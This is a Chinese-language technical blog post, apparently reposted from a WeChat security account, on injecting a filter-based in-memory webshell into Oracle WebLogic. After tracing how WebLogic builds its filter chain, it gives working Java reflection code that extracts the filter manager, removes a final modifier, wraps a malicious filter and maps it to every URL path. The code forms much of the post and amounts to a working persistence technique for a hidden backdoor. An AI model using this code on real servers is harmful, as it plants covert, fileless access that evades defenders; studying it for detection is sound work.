前言
简单提一下weblogic注入filter内存马。本文主要就是提及一些思路,其流程和tomcat的差不多就是关键对象不一样而已。
小弟水平有限,如有不对欢迎指出,以免误人子弟。
相关代码都放在 https://github.com/safe6Sec/MemoryShell
原理分析
同样的方法打断点看堆栈,如下可见进入dofilter的第一个方法是wrapRun,之后就是我们熟悉的filterChain。那么直接分析filterChain创建就可知道内存马要怎么注入了。
进入wrapRun,可见关键方法getFilterChain
继续分析
发现调用了filterManager,看看filterManager是什么
可以看出是装filter的。继续看getFilterChain,一进来会判断是否为空,然后会有个add FilterWrapper操作。
最终是加到filters
继续看看FilterWrapper是啥,等同于tomcat的Filterdef。也就是说,我们创建的Filter需要包装成FilterWrapper。
ok,到这里,我们知道,需要把filter用FilterWrapper包装一下,然后添加到filters。
继续往下看,发现对filters进行判断,然后对filterPatternList进行遍历,随后添加到FilterChain,
分析一下filterPatternList干嘛的,不过从上面逻辑来看应该是映射关系。
发现里面装的是个内部类FilterInfo,里面包含了主要的filterName和url
再看看URLMapping,发现是个接口。简单分析一下,发现装的是ServletMapping
至此就把关键对象分析完了,开始代码实现。
代码实现
weblogic的上下文,没tomcat那么麻烦,比较简单。
weblogic.servlet.internal.WebAppServletContext context = (weblogic.servlet.internal.WebAppServletContext) req.getServletContext();
随后就是把filterManager和filters取出来
Field filterManagerField =context.getClass().getDeclaredField("filterManager");
filterManagerField.setAccessible(true);
weblogic.servlet.internal.FilterManager filterManager= (weblogic.servlet.internal.FilterManager)filterManagerField.get(context);
//filterManager.getFilterChain().add();
Field filtersField=filterManager.getClass().getDeclaredField("filters");
filtersField.setAccessible(true);
然后从filterManager把filterPatternList取出来,这里需要注意改一下modifiers
Field filterPatternListField= filterManager.getClass().getDeclaredField("filterPatternList");
filterPatternListField.setAccessible(true);
Field modifiers = filterPatternListField.getClass().getDeclaredField("modifiers");
modifiers.setAccessible(true);
modifiers.setInt(filterPatternListField,filterPatternListField.getModifiers() & ~Modifier.FINAL);
然后用wrapper包装filter,加到filters
Class<?> clz = Class.forName("weblogic.servlet.internal.FilterWrapper");
Constructor constructor = clz.getDeclaredConstructor(String.class,String.class,Map.class,WebAppServletContext.class);
constructor.setAccessible(true);
FilterWrapper filterWrapper = (FilterWrapper) constructor.newInstance(filterShell.getClass().getName(),filterShell.getClass().getName(),null,context);
//设置wrapper包装的filter对象
Field ff = clz.getDeclaredField("filter");
ff.setAccessible(true);
ff.set(filterWrapper,filterShell);
//获取filters
Map<String, FilterWrapper> filterWrapperMap = (Map<String, FilterWrapper>) filtersField.get(filterManager);
//添加到filters
filterWrapperMap.put(filterShell.getClass().getName(),filterWrapper);
最后添加映射,完事
List filterInfos = (List) filterPatternListField.get(filterManager);
Class<?> fiz = Class.forName("weblogic.servlet.internal.FilterManager$FilterInfo");
Constructor constructor1 = fiz.getDeclaredConstructor(String.class, URLMapping.class,WebAppServletContext.class, EnumSet.class);
constructor1.setAccessible(true);
ServletMapping servletMapping = new ServletMapping();
servletMapping.put("/*",filterShell.getClass().getName());
filterInfos.add(constructor1.newInstance(filterShell.getClass().getName(),servletMapping,context,null));
看看效果
原文始发于微信公众号(safe6安全的成长日记):java内存马分析(五) weblogic注入内存马
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论